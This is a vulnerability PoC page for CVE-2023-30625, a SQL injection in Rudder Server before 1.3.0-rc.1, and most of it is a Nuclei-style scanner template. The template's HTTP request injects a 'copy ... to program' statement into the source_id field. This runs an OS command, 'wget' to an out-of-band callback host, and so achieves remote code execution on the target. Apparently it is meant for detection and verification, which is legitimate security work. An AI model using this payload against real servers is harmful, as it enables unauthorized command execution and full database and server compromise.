CVE-2023-30625: Rudder Server < 1.3.0-rc.1 - SQL Injection

2025-08-01 Rudder Server PoC Public

Description

Rudder-server is part of RudderStack, an open source Customer Data Platform (CDP). Versions of rudder-server prior to 1.3.0-rc.1 are vulnerable to SQL injection. This issue may lead to Remote Code Execution (RCE) due to the `rudder` role in PostgresSQL having superuser permissions by default. Version 1.3.0-rc.1 contains patches for this issue.

PoC

id: CVE-2023-30625

info:
  name: Rudder Server < 1.3.0-rc.1 - SQL Injection
  author: gy741
  severity: high
  description: |
    Rudder-server is part of RudderStack, an open source Customer Data Platform (CDP). Versions of rudder-server prior to 1.3.0-rc.1 are vulnerable to SQL injection. This issue may lead to Remote Code Execution (RCE) due to the `rudder` role in PostgresSQL having superuser permissions by default. Version 1.3.0-rc.1 contains patches for this issue.
  impact: |
    Authenticated attackers can execute arbitrary SQL commands and potentially achieve remote code execution due to PostgreSQL superuser permissions, leading to complete database and server compromise.
  remediation: |
    Upgrade to Rudder Server version 1.3.0-rc.1 or later.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2022-097_rudder-server/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30625
    - http://packetstormsecurity.com/files/173837/Rudder-Server-SQL-Injection-Remote-Code-Execution.html
    - https://github.com/rudderlabs/rudder-server/commit/0d061ff2d8c16845179d215bf8012afceba12a30
    - https://github.com/rudderlabs/rudder-server/commit/2f956b7eb3d5eb2de3e79d7df2c87405af25071e
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-30625
    cwe-id: CWE-89
    epss-score: 0.85825
    epss-percentile: 0.99716
    cpe: cpe:2.3:a:rudderstack:rudder-server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rudderstack
    product: rudder-server
  tags: cve,cve2023,packetstorm,rudder,rudderstack,sqli,vkev,vuln
variables:
  cmd: "wget {{interactsh-url}}"

http:
  - raw:
      - |
        POST /v1/warehouse/pending-events HTTP/1.1
        Host: {{Hostname}}

        {"source_id": "test'; copy (SELECT '') to program '{{cmd}}'-- - "}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "error getting pending"

      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 500
# digest: 4a0a00473045022100e3a4884f52185070dc232bb72083b5401022dbbfcfa381233b5b579fb8d9546202207f02d9ac94ca864a6c83644b41b0ee5774ee79d47d322146d97fcabab00c76e2:922c64590222798bb761d5b6d8e72950

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